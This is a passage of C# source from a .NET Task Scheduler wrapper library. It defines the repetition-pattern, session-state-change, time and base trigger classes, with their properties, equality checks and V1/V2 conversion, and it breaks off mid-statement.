class.</summary>\n        public void Dispose()\n        {\n            if (v2Pattern != null) Marshal.ReleaseComObject(v2Pattern);\n        }\n\n        /// <summary>Determines whether the specified <see cref=\"object\"/>, is equal to this instance.</summary>\n        /// <param name=\"obj\">The <see cref=\"object\"/> to compare with this instance.</param>\n        /// <returns><c>true</c> if the specified <see cref=\"object\"/> is equal to this instance; otherwise, <c>false</c>.</returns>\n        // ReSharper disable once BaseObjectEqualsIsObjectEquals\n        public override bool Equals(object obj) => obj is RepetitionPattern pattern ? Equals(pattern) : base.Equals(obj);\n\n        /// <summary>Indicates whether the current object is equal to another object of the same type.</summary>\n        /// <param name=\"other\">An object to compare with this object.</param>\n        /// <returns>true if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, false.</returns>\n        public bool Equals(RepetitionPattern other) => other != null && Duration == other.Duration && Interval == other.Interval && StopAtDurationEnd == other.StopAtDurationEnd;\n\n        /// <summary>Returns a hash code for this instance.</summary>\n        /// <returns>A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table.</returns>\n        public override int GetHashCode() => new { A = Duration, B = Interval, C = StopAtDurationEnd }.GetHashCode();\n\n        /// <summary>Determines whether any properties for this <see cref=\"RepetitionPattern\"/> have been set.</summary>\n        /// <returns><c>true</c> if properties have been set; otherwise, <c>false</c>.</returns>\n        public bool IsSet()\n        {\n            if (v2Pattern != null)\n                return v2Pattern.StopAtDurationEnd || !string.IsNullOrEmpty(v2Pattern.Duration) || !string.IsNullOrEmpty(v2Pattern.Interval);\n            if (pTrigger != null)\n                return (pTrigger.v1TriggerData.Flags & TaskTriggerFlags.KillAtDurationEnd) == TaskTriggerFlags.KillAtDurationEnd || pTrigger.v1TriggerData.MinutesDuration > 0 || pTrigger.v1TriggerData.MinutesInterval > 0;\n            return false;\n        }\n\n        System.Xml.Schema.XmlSchema IXmlSerializable.GetSchema() => null;\n\n        void IXmlSerializable.ReadXml(System.Xml.XmlReader reader)\n        {\n            if (!reader.IsEmptyElement)\n            {\n                reader.ReadStartElement(XmlSerializationHelper.GetElementName(this), TaskDefinition.tns);\n                XmlSerializationHelper.ReadObjectProperties(reader, this, ReadXmlConverter);\n                reader.ReadEndElement();\n            }\n            else\n                reader.Skip();\n        }\n\n        void IXmlSerializable.WriteXml(System.Xml.XmlWriter writer) => XmlSerializationHelper.WriteObjectProperties(writer, this);\n\n        internal void Bind()\n        {\n            if (pTrigger.v1Trigger != null)\n                pTrigger.SetV1TriggerData();\n            else if (pTrigger.v2Trigger != null)\n            {\n                if (pTrigger.v1TriggerData.MinutesInterval != 0)\n                    v2Pattern.Interval = $\"PT{pTrigger.v1TriggerData.MinutesInterval}M\";\n                if (pTrigger.v1TriggerData.MinutesDuration != 0)\n                    v2Pattern.Duration = $\"PT{pTrigger.v1TriggerData.MinutesDuration}M\";\n                v2Pattern.StopAtDurationEnd = (pTrigger.v1TriggerData.Flags & TaskTriggerFlags.KillAtDurationEnd) == TaskTriggerFlags.KillAtDurationEnd;\n            }\n        }\n\n        internal void Set([NotNull] RepetitionPattern value)\n        {\n            Duration = value.Duration;\n            Interval = value.Interval;\n            StopAtDurationEnd = value.StopAtDurationEnd;\n        }\n\n        /// <summary>Called when a property has changed to notify any attached elements.</summary>\n        /// <param name=\"propertyName\">Name of the property.</param>\n        private void OnNotifyPropertyChanged([CallerMemberName] string propertyName = \"\") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));\n\n        private bool ReadXmlConverter(System.Reflection.PropertyInfo pi, object obj, ref object value)\n        {\n            if (pi.Name != \"Interval\" || !(value is TimeSpan span) || span.Equals(TimeSpan.Zero) || Duration > span)\n                return false;\n            Duration = span.Add(TimeSpan.FromMinutes(1));\n            return true;\n        }\n    }\n\n    /// <summary>\n    /// Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications.\n    /// <note>Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later.</note>\n    /// </summary>\n    /// <remarks>\n    /// The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or\n    /// locking or unlocking the session.\n    /// </remarks>\n    /// <example>\n    /// <code lang=\"cs\">\n    ///<![CDATA[\n    ///new SessionStateChangeTrigger { StateChange = TaskSessionStateChangeType.ConsoleConnect, UserId = \"joe\" };\n    ///new SessionStateChangeTrigger { StateChange = TaskSessionStateChangeType.ConsoleDisconnect };\n    ///new SessionStateChangeTrigger { StateChange = TaskSessionStateChangeType.RemoteConnect };\n    ///new SessionStateChangeTrigger { StateChange = TaskSessionStateChangeType.RemoteDisconnect };\n    ///new SessionStateChangeTrigger { StateChange = TaskSessionStateChangeType.SessionLock, UserId = \"joe\" };\n    ///new SessionStateChangeTrigger { StateChange = TaskSessionStateChangeType.SessionUnlock };\n    ///]]>\n    /// </code>\n    /// </example>\n    [XmlType(IncludeInSchema = false)]\n    public sealed class SessionStateChangeTrigger : Trigger, ITriggerDelay, ITriggerUserId\n    {\n        /// <summary>Creates an unbound instance of a <see cref=\"SessionStateChangeTrigger\"/>.</summary>\n        public SessionStateChangeTrigger() : base(TaskTriggerType.SessionStateChange) { }\n\n        /// <summary>Initializes a new instance of the <see cref=\"SessionStateChangeTrigger\"/> class.</summary>\n        /// <param name=\"stateChange\">The state change.</param>\n        /// <param name=\"userId\">The user identifier.</param>\n        public SessionStateChangeTrigger(TaskSessionStateChangeType stateChange, string userId = null) : this() { StateChange = stateChange; UserId = userId; }\n\n        internal SessionStateChangeTrigger([NotNull] ITrigger iTrigger) : base(iTrigger)\n        {\n        }\n\n        /// <summary>Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started.</summary>\n        [DefaultValue(typeof(TimeSpan), \"00:00:00\")]\n        public TimeSpan Delay\n        {\n            get => v2Trigger != null ? Task.StringToTimeSpan(((ISessionStateChangeTrigger)v2Trigger).Delay) : GetUnboundValueOrDefault(nameof(Delay), TimeSpan.Zero);\n            set\n            {\n                if (v2Trigger != null)\n                    ((ISessionStateChangeTrigger)v2Trigger).Delay = Task.TimeSpanToString(value);\n                else\n                    unboundValues[nameof(Delay)] = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the kind of Terminal Server session change that would trigger a task launch.</summary>\n        [DefaultValue(1)]\n        public TaskSessionStateChangeType StateChange\n        {\n            get => ((ISessionStateChangeTrigger)v2Trigger)?.StateChange ?? GetUnboundValueOrDefault(nameof(StateChange), TaskSessionStateChangeType.ConsoleConnect);\n            set\n            {\n                if (v2Trigger != null)\n                    ((ISessionStateChangeTrigger)v2Trigger).StateChange = value;\n                else\n                    unboundValues[nameof(StateChange)] = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started.\n        /// </summary>\n        [DefaultValue(null)]\n        public string UserId\n        {\n            get => v2Trigger != null ? ((ISessionStateChangeTrigger)v2Trigger).UserId : GetUnboundValueOrDefault<string>(nameof(UserId));\n            set\n            {\n                if (v2Trigger != null)\n                    ((ISessionStateChangeTrigger)v2Trigger).UserId = value;\n                else\n                    unboundValues[nameof(UserId)] = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Copies the properties from another <see cref=\"Trigger\"/> the current instance. This will not copy any properties associated with\n        /// any derived triggers except those supporting the <see cref=\"ITriggerDelay\"/> interface.\n        /// </summary>\n        /// <param name=\"sourceTrigger\">The source <see cref=\"Trigger\"/>.</param>\n        public override void CopyProperties(Trigger sourceTrigger)\n        {\n            base.CopyProperties(sourceTrigger);\n            if (sourceTrigger is SessionStateChangeTrigger st && !StateChangeIsSet())\n                StateChange = st.StateChange;\n        }\n\n        /// <summary>Indicates whether the current object is equal to another object of the same type.</summary>\n        /// <param name=\"other\">An object to compare with this object.</param>\n        /// <returns>true if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, false.</returns>\n        public override bool Equals(Trigger other) => other is SessionStateChangeTrigger st && base.Equals(st) && StateChange == st.StateChange;\n\n        /// <summary>Gets the non-localized trigger string for V2 triggers.</summary>\n        /// <returns>String describing the trigger.</returns>\n        protected override string V2GetTriggerString()\n        {\n            var str = Resources.ResourceManager.GetString(\"TriggerSession\" + StateChange.ToString());\n            var user = string.IsNullOrEmpty(UserId) ? Resources.TriggerAnyUser : UserId;\n            if (StateChange != TaskSessionStateChangeType.SessionLock && StateChange != TaskSessionStateChangeType.SessionUnlock)\n                user = string.Format(Resources.TriggerSessionUserSession, user);\n            return string.Format(str, user);\n        }\n\n        /// <summary>Returns a value indicating if the StateChange property has been set.</summary>\n        /// <returns>StateChange property has been set.</returns>\n        private bool StateChangeIsSet() => v2Trigger != null || (unboundValues?.ContainsKey(\"StateChange\") ?? false);\n    }\n\n    /// <summary>Represents a trigger that starts a task at a specific date and time.</summary>\n    /// <remarks>A TimeTrigger runs at a specified date and time.</remarks>\n    /// <example>\n    /// <code lang=\"cs\">\n    ///<![CDATA[\n    /// // Create a trigger that runs the last minute of this year\n    /// TimeTrigger tTrigger = new TimeTrigger();\n    /// tTrigger.StartBoundary = new DateTime(DateTime.Today.Year, 12, 31, 23, 59, 0);\n    ///]]>\n    /// </code>\n    /// </example>\n    public sealed class TimeTrigger : Trigger, ITriggerDelay, ICalendarTrigger\n    {\n        /// <summary>Creates an unbound instance of a <see cref=\"TimeTrigger\"/>.</summary>\n        public TimeTrigger() : base(TaskTriggerType.Time) { }\n\n        /// <summary>Creates an unbound instance of a <see cref=\"TimeTrigger\"/> and assigns the execution time.</summary>\n        /// <param name=\"startBoundary\">Date and time for the trigger to fire.</param>\n        public TimeTrigger(DateTime startBoundary) : base(TaskTriggerType.Time) => StartBoundary = startBoundary;\n\n        internal TimeTrigger([NotNull] ITaskTrigger iTrigger) : base(iTrigger, V1.TaskTriggerType.RunOnce)\n        {\n        }\n\n        internal TimeTrigger([NotNull] ITrigger iTrigger) : base(iTrigger)\n        {\n        }\n\n        /// <summary>Gets or sets a delay time that is randomly added to the start time of the trigger.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(typeof(TimeSpan), \"00:00:00\")]\n        [XmlIgnore]\n        public TimeSpan RandomDelay\n        {\n            get => v2Trigger != null ? Task.StringToTimeSpan(((ITimeTrigger)v2Trigger).RandomDelay) : GetUnboundValueOrDefault(nameof(RandomDelay), TimeSpan.Zero);\n            set\n            {\n                if (v2Trigger != null)\n                    ((ITimeTrigger)v2Trigger).RandomDelay = Task.TimeSpanToString(value);\n                else if (v1Trigger != null)\n                    throw new NotV1SupportedException();\n                else\n                    unboundValues[nameof(RandomDelay)] = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets a value that indicates the amount of time before the task is started.</summary>\n        /// <value>The delay duration.</value>\n        TimeSpan ITriggerDelay.Delay\n        {\n            get => RandomDelay;\n            set => RandomDelay = value;\n        }\n\n        /// <summary>Gets the non-localized trigger string for V2 triggers.</summary>\n        /// <returns>String describing the trigger.</returns>\n        protected override string V2GetTriggerString() => string.Format(Resources.TriggerTime1, AdjustToLocal(StartBoundary));\n    }\n\n    /// <summary>\n    /// Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using\n    /// the <see cref=\"TriggerCollection.Add{TTrigger}\"/> or the <see cref=\"TriggerCollection.AddNew\"/> method.\n    /// </summary>\n    public abstract partial class Trigger : IDisposable, ICloneable, IEquatable<Trigger>, IComparable, IComparable<Trigger>, INotifyPropertyChanged\n    {\n        internal const string V2BoundaryDateFormat = \"yyyy'-'MM'-'dd'T'HH':'mm':'ss'.'FFFK\";\n        internal static readonly CultureInfo DefaultDateCulture = CultureInfo.CreateSpecificCulture(\"en-US\");\n\n        internal ITaskTrigger v1Trigger;\n        internal TaskTrigger v1TriggerData;\n        internal ITrigger v2Trigger;\n\n        /// <summary>In testing and may change. Do not use until officially introduced into library.</summary>\n        protected Dictionary<string, object> unboundValues = new Dictionary<string, object>();\n\n        private static bool? foundTimeSpan2;\n        private static Type timeSpan2Type;\n        private readonly TaskTriggerType ttype;\n        private RepetitionPattern repititionPattern;\n\n        internal Trigger([NotNull] ITaskTrigger trigger, V1.TaskTriggerType type)\n        {\n            v1Trigger = trigger;\n            v1TriggerData = trigger.GetTrigger();\n            v1TriggerData.Type = type;\n            ttype = ConvertFromV1TriggerType(type);\n        }\n\n        internal Trigger([NotNull] ITrigger iTrigger)\n        {\n            v2Trigger = iTrigger;\n            ttype = iTrigger.Type;\n            if (string.IsNullOrEmpty(v2Trigger.StartBoundary) && this is ICalendarTrigger)\n                StartBoundary = DateTime.SpecifyKind(DateTime.Now, DateTimeKind.Unspecified);\n        }\n\n        internal Trigger(TaskTriggerType triggerType)\n        {\n            ttype = triggerType;\n\n            v1TriggerData.TriggerSize = (ushort)Marshal.SizeOf(typeof(TaskTrigger));\n            if (ttype != TaskTriggerType.Registration && ttype != TaskTriggerType.Event && ttype != TaskTriggerType.SessionStateChange)\n                v1TriggerData.Type = ConvertToV1TriggerType(ttype);\n\n            if (this is ICalendarTrigger)\n                StartBoundary = DateTime.SpecifyKind(DateTime.Now, DateTimeKind.Unspecified);\n        }\n\n        /// <summary>Occurs when a property value changes.</summary>\n        public event PropertyChangedEventHandler PropertyChanged;\n\n        /// <summary>Gets or sets a Boolean value that indicates whether the trigger is enabled.</summary>\n        public bool Enabled\n        {\n            get => v2Trigger?.Enabled ?? GetUnboundValueOrDefault(nameof(Enabled), !v1TriggerData.Flags.IsFlagSet(TaskTriggerFlags.Disabled));\n            set\n            {\n                if (v2Trigger != null)\n                    v2Trigger.Enabled = value;\n                else\n                {\n                    v1TriggerData.Flags = v1TriggerData.Flags.SetFlags(TaskTriggerFlags.Disabled, !value);\n                    if (v1Trigger != null)\n                        SetV1TriggerData();\n                    else\n                        unboundValues[nameof(Enabled)] = value;\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated.\n        /// <note>While the maximum value for this property is <see cref=\"DateTime.MaxValue\"/>, the Windows Task Scheduler management\n        /// application that is part of the OS will fail if this value is greater than December 31, 9998.</note>\n        /// </summary>\n        /// <remarks>\n        /// <para>\n        /// Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the <see\n        /// cref=\"DateTime\"/> structure.\n        /// </para>\n        /// <para>\n        /// Version 2 (1.2 or higher) of the native library only allows for both date and time and all <see cref=\"DateTime.Kind\"/> values.\n        /// However, the user interface and <see cref=\"Trigger.ToString()\"/> methods will always show the time translated to local time. The\n        /// library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library,\n        /// the \"Synchronize across time zones\" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the\n        /// user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time.\n        /// </para>\n        /// </remarks>\n        [DefaultValue(typeof(DateTime), \"9999-12-31T23:59:59.9999999\")]\n        public DateTime EndBoundary\n        {\n            get\n            {\n                if (v2Trigger != null)\n                    return string.IsNullOrEmpty(v2Trigger.EndBoundary) ? DateTime.MaxValue : DateTime.Parse(v2Trigger.EndBoundary, DefaultDateCulture);\n                return GetUnboundValueOrDefault(nameof(EndBoundary), v1TriggerData.EndDate.GetValueOrDefault(DateTime.MaxValue));\n            }\n            set\n            {\n                if (v2Trigger != null)\n                {\n                    if (value <= StartBoundary)\n                        throw new ArgumentException(Resources.Error_TriggerEndBeforeStart);\n                    v2Trigger.EndBoundary = value == DateTime.MaxValue ? null : value.ToString(V2BoundaryDateFormat, DefaultDateCulture);\n                }\n                else\n                {\n                    v1TriggerData.EndDate = value == DateTime.MaxValue ? (DateTime?)null : value;\n                    if (v1Trigger != null)\n                        SetV1TriggerData();\n                    else\n                        unboundValues[nameof(EndBoundary)] = value;\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task\n        /// Scheduler 1.0.\n        /// </summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(typeof(TimeSpan), \"00:00:00\")]\n        [XmlIgnore]\n        public TimeSpan ExecutionTimeLimit\n        {\n            get => v2Trigger != null ? Task.StringToTimeSpan(v2Trigger.ExecutionTimeLimit) : GetUnboundValueOrDefault(nameof(ExecutionTimeLimit), TimeSpan.Zero);\n            set\n            {\n                if (v2Trigger != null)\n                    v2Trigger.ExecutionTimeLimit = Task.TimeSpanToString(value);\n                else if (v1Trigger != null)\n                    throw new NotV1SupportedException();\n                else\n                    unboundValues[nameof(ExecutionTimeLimit)] = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(null)]\n        [XmlIgnore]\n        public string Id\n        {\n            get => v2Trigger != null ? v2Trigger.Id : GetUnboundValueOrDefault<string>(nameof(Id));\n            set\n            {\n                if (v2Trigger != null)\n                    v2Trigger.Id = value;\n                else if (v1Trigger != null)\n                    throw new NotV1SupportedException();\n                else\n                    unboundValues[nameof(Id)] = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets a <see cref=\"RepetitionPattern\"/> instance that indicates how often the task is run and how long the repetition pattern is\n        /// repeated after the task is started.\n        /// </summary>\n        public RepetitionPattern Repetition\n        {\n            get => repititionPattern ??= new RepetitionPattern(this);\n            set\n            {\n                Repetition.Set(value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the date and time when the trigger is activated.</summary>\n        /// <remarks>\n        /// <para>\n        /// Version 1 (1.1 on all systems prior to Vista) of the native library only allows for <see cref=\"DateTime\"/> values where the <see\n        /// cref=\"DateTime.Kind\"/> is unspecified. If the DateTime value Kind is <see cref=\"DateTimeKind.Local\"/> then it will be used as\n        /// is. If the DateTime value Kind is <see cref=\"DateTimeKind.Utc\"/> then it will be converted to the local time and then used.\n        /// </para>\n        /// <para>\n        /// Version 2 (1.2 or higher) of the native library only allows for all <see cref=\"DateTime.Kind\"/> values. However, the user\n        /// interface and <see cref=\"Trigger.ToString()\"/> methods will always show the time translated to local time. The library makes\n        /// every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the\n        /// \"Synchronize across time zones\" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user\n        /// selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time.\n        /// </para>\n        /// <para>\n        /// Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will\n        /// behave as follows:\n        /// <list type=\"bullet\">\n        /// <item>\n        /// <description>YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified.</description>\n        /// </item>\n        /// <item>\n        /// <description>YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time.</description>\n        /// </item>\n        /// <item>\n        /// <description>YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone.</description>\n        /// </item>\n        /// </list>\n        /// </para>\n        /// </remarks>\n        public DateTime StartBoundary\n        {\n            get\n            {\n                if (v2Trigger == null) return GetUnboundValueOrDefault(nameof(StartBoundary), v1TriggerData.BeginDate);\n                if (string.IsNullOrEmpty(v2Trigger.StartBoundary))\n                    return DateTime.MinValue;\n                var ret = DateTime.Parse(v2Trigger.StartBoundary, DefaultDateCulture);\n                if (v2Trigger.StartBoundary.EndsWith(\"Z\"))\n                    ret = ret.ToUniversalTime();\n                return ret;\n            }\n            set\n            {\n                if (v2Trigger != null)\n                {\n                    if (value > EndBoundary)\n                        throw new ArgumentException(Resources.Error_TriggerEndBeforeStart);\n                    v2Trigger.StartBoundary = value == DateTime.MinValue ? null : value.ToString(V2BoundaryDateFormat, DefaultDateCulture);\n                }\n                else\n                {\n                    v1TriggerData.BeginDate = value;\n                    if (v1Trigger != null)\n                        SetV1TriggerData();\n                    else\n                        unboundValues[nameof(StartBoundary)] = value;\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets the type of the trigger.</summary>\n        /// <value>The <see cref=\"TaskTriggerType\"/> of the trigger.</value>\n        [XmlIgnore]\n        public TaskTriggerType TriggerType => ttype;\n\n        /// <summary>Creates the specified trigger.</summary>\n        /// <param name=\"triggerType\">Type of the trigger to instantiate.</param>\n        /// <returns><see cref=\"Trigger\"/> of specified type.</returns>\n        public static Trigger CreateTrigger(TaskTriggerType triggerType)\n        {\n            switch (triggerType)\n            {\n                case TaskTriggerType.Boot:\n                    return new BootTrigger();\n\n                case TaskTriggerType.Daily:\n                    return new DailyTrigger();\n\n                case TaskTriggerType.Event:\n                    return new EventTrigger();\n\n                case TaskTriggerType.Idle:\n                    return new IdleTrigger();\n\n                case TaskTriggerType.Logon:\n                    return new LogonTrigger();\n\n                case TaskTriggerType.Monthly:\n                    return new MonthlyTrigger();\n\n                case TaskTriggerType.MonthlyDOW:\n                    return new MonthlyDOWTrigger();\n\n                case TaskTriggerType.Registration:\n                    return new RegistrationTrigger();\n\n                case TaskTriggerType.SessionStateChange:\n                    return new SessionStateChangeTrigger();\n\n                case TaskTriggerType.Time:\n                    return new TimeTrigger();\n\n                case TaskTriggerType.Weekly:\n                    return new WeeklyTrigger();\n\n                case TaskTriggerType.Custom:\n                    break;\n\n                default:\n                    throw new ArgumentOutOfRangeException(nameof(triggerType), triggerType, null);\n            }\n            return null;\n        }\n\n        /// <summary>Creates a new <see cref=\"Trigger\"/> that is an unbound copy of this instance.</summary>\n        /// <returns>A new <see cref=\"Trigger\"/> that is an unbound copy of this instance.</returns>\n        public virtual object Clone()\n        {\n            var ret = CreateTrigger(TriggerType);\n            ret.CopyProperties(this);\n            return ret;\n        }\n\n        /// <summary>\n        /// Compares the current instance with another object of the same type and returns an integer that indicates whether the current\n        /// instance precedes, follows, or occurs in the same position in the sort order as the other object.\n        /// </summary>\n        /// <param name=\"other\">An object to compare with this instance.</param>\n        /// <returns>A value that indicates the relative order of the objects being compared.</returns>\n        public int CompareTo(Trigger other) => string.Compare(Id, other?.Id, StringComparison.InvariantCulture);\n\n        /// <summary>\n        /// Copies the properties from another <see cref=\"Trigger\"/> the current instance. This will not copy any properties associated with\n        /// any derived triggers except those supporting the <see cref=\"ITriggerDelay\"/> interface.\n        /// </summary>\n        /// <param name=\"sourceTrigger\">The source <see cref=\"Trigger\"/>.</param>\n        public virtual void CopyProperties(Trigger sourceTrigger)\n        {\n            if (sourceTrigger == null)\n                return;\n            Enabled = sourceTrigger.Enabled;\n            EndBoundary = sourceTrigger.EndBoundary;\n            try { ExecutionTimeLimit = sourceTrigger.ExecutionTimeLimit; }\n            catch { /* ignored */ }\n            Id = sourceTrigger.Id;\n            Repetition.Duration = sourceTrigger.Repetition.Duration;\n            Repetition.Interval = sourceTrigger.Repetition.Interval;\n            Repetition.StopAtDurationEnd = sourceTrigger.Repetition.StopAtDurationEnd;\n            StartBoundary = sourceTrigger.StartBoundary;\n            if (sourceTrigger is ITriggerDelay delay && this is ITriggerDelay)\n                try { ((ITriggerDelay)this).Delay = delay.Delay; }\n                catch { /* ignored */ }\n            if (sourceTrigger is ITriggerUserId id && this is ITriggerUserId)\n                try { ((ITriggerUserId)this).UserId = id.UserId; }\n                catch { /* ignored */ }\n        }\n\n        /// <summary>Releases all resources used by this class.</summary>\n        public virtual void Dispose()\n        {\n            if (v2Trigger != null)\n                Marshal.ReleaseComObject(v2Trigger);\n            if (v1Trigger != null)\n                Marshal.ReleaseComObject(v1Trigger);\n        }\n\n        /// <summary>Determines whether the specified <see cref=\"object\"/>, is equal to this instance.</summary>\n        /// <param name=\"obj\">The <see cref=\"object\"/> to compare with this instance.</param>\n        /// <returns><c>true</c> if the specified <see cref=\"object\"/> is equal to this instance; otherwise, <c>false</c>.</returns>\n        // ReSharper disable once BaseObjectEqualsIsObjectEquals\n        public override bool Equals(object obj) => obj is Trigger trigger ? Equals(trigger) : base.Equals(obj);\n\n        /// <summary>Indicates whether the current object is equal to another object of the same type.</summary>\n        /// <param name=\"other\">An object to compare with this object.</param>\n        /// <returns>true if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, false.</returns>\n        public virtual bool Equals(Trigger other)\n        {\n            if (other == null) return false;\n            var ret = TriggerType == other.TriggerType && Enabled == other.Enabled && EndBoundary == other.EndBoundary &&\n                ExecutionTimeLimit == other.ExecutionTimeLimit && Id == other.Id && Repetition.Equals(other.Repetition) &&\n                StartBoundary == other.StartBoundary;\n            if (other is ITriggerDelay delay && this is ITriggerDelay)\n                try { ret = ret && ((ITriggerDelay)this).Delay == delay.Delay; }\n                catch { /* ignored */ }\n            if (other is ITriggerUserId id && this is ITriggerUserId)\n                try { ret = ret && ((ITriggerUserId)this).UserId == id.UserId; }\n                catch { /* ignored */ }\n            return ret;\n        }\n\n        /// <summary>Returns a hash code for this instance.</summary>\n        /// <returns>A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table.</returns>\n        public override int GetHashCode() => new\n        {\n            A = TriggerType,\n            B = Enabled,\n            C = EndBoundary,\n            D = ExecutionTimeLimit,\n            E = Id,\n            F = Repetition,\n            G = StartBoundary,\n            H = (this as ITriggerDelay)?.Delay ?? TimeSpan.Zero,\n            I = (this as ITriggerUserId)?.UserId\n        }.GetHashCode();\n\n        /// <summary>Sets the repetition.</summary>\n        /// <param name=\"interval\">\n        /// The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute.\n        /// </param>\n        /// <param name=\"duration\">\n        /// The duration of how long the pattern is repeated. The minimum time allowed is one minute. If <c>TimeSpan.Zero</c> is specified,\n        /// the pattern is repeated indefinitely.\n        /// </param>\n        /// <param name=\"stopAtDurationEnd\">\n        /// if set to <c>true</c> the running instance of the task is stopped at the end of repetition pattern duration.\n        /// </param>\n        [Obsolete(\"Set the Repetition property directly with a new instance of RepetitionPattern.\", false)]\n        public void SetRepetition(TimeSpan interval, TimeSpan duration, bool stopAtDurationEnd = true)\n        {\n            Repetition.Duration = duration;\n            Repetition.Interval = interval;\n            Repetition.StopAtDurationEnd = stopAtDurationEnd;\n        }\n\n        /// <summary>Returns a string representing this trigger.</summary>\n        /// <returns>String value of trigger.</returns>\n        public override string ToString() => v1Trigger != null ? v1Trigger.GetTriggerString() : V2GetTriggerString() + V2BaseTriggerString();\n\n        /// <summary>Returns a <see cref=\"string\"/> that represents this trigger in a specific language.</summary>\n        /// <param name=\"culture\">The language of the resulting string.</param>\n        /// <returns>String value of trigger.</returns>\n        public virtual string ToString([NotNull] CultureInfo culture)\n        {\n            using (new CultureSwitcher(culture))\n                return ToString();\n        }\n\n        int IComparable.CompareTo(object obj) => CompareTo(obj as Trigger);\n\n        internal static DateTime AdjustToLocal(DateTime dt) => dt.Kind == DateTimeKind.Utc ? dt.ToLocalTime() : dt;\n\n        internal static V1.TaskTriggerType ConvertToV1TriggerType(TaskTriggerType type)\n        {\n            if (type == TaskTriggerType.Registration || type == TaskTriggerType.Event || type == TaskTriggerType.SessionStateChange)\n                throw new NotV1SupportedException();\n            var tv1 = (int)type - 1;\n            if (tv1 >= 7) tv1--;\n            return (V1.TaskTriggerType)tv1;\n        }\n\n        internal static Trigger CreateTrigger([NotNull] ITaskTrigger trigger) => CreateTrigger(trigger, trigger.GetTrigger().Type);\n\n        internal static Trigger CreateTrigger([NotNull] ITaskTrigger trigger, V1.TaskTriggerType triggerType)\n        {\n            Trigger t = triggerType switch\n            {\n                V1.TaskTriggerType.RunOnce => new TimeTrigger(trigger),\n                V1.TaskTriggerType.RunDaily => new DailyTrigger(trigger),\n                V1.TaskTriggerType.RunWeekly => new WeeklyTrigger(trigger),\n                V1.TaskTriggerType.RunMonthly => new MonthlyTrigger(trigger),\n                V1.TaskTriggerType.RunMonthlyDOW => new MonthlyDOWTrigger(trigger),\n                V1.TaskTriggerType.OnIdle => new IdleTrigger(trigger),\n                V1.TaskTriggerType.OnSystemStart => new BootTrigger(trigger),\n                V1.TaskTriggerType.OnLogon => new LogonTrigger(trigger),\n                _ => throw new ArgumentOutOfRangeException(nameof(triggerType), triggerType, null),\n            };\n            return t;\n        }\n\n        internal static Trigger CreateTrigger([NotNull] ITrigger iTrigger, ITaskDefinition iDef = null)\n        {\n            switch (iTrigger.Type)\n            {\n                case TaskTriggerType.Boot:\n                    return new BootTrigger((IBootTrigger)iTrigger);\n\n                case TaskTriggerType.Daily:\n                    return new DailyTrigger((IDailyTrigger)iTrigger);\n\n                case TaskTriggerType.Event:\n                    return new EventTrigger((IEventTrigger)iTrigger);\n\n                case TaskTriggerType.Idle:\n                    return new IdleTrigger((IIdleTrigger)iTrigger);\n\n                case TaskTriggerType.Logon:\n                    return new LogonTrigger((ILogonTrigger)iTrigger);\n\n                case TaskTriggerType.Monthly:\n                    return new MonthlyTrigger((IMonthlyTrigger)iTrigger);\n\n                case TaskTriggerType.MonthlyDOW:\n                    return new MonthlyDOWTrigger((IMonthlyDOWTrigger)iTrigger);\n\n                case TaskTriggerType.Registration:\n                    return new RegistrationTrigger((IRegistrationTrigger)iTrigger);\n\n                case TaskTriggerType.SessionStateChange:\n                    return new SessionStateChangeTrigger((ISessionStateChangeTrigger)iTrigger);\n\n                case TaskTriggerType.Time:\n                    return new TimeTrigger((ITimeTrigger)iTrigger);\n\n                case TaskTriggerType.Weekly:\n                    return new WeeklyTrigger((IWeeklyTrigger)iTrigger);\n\n                case TaskTriggerType.Custom:\n                    var 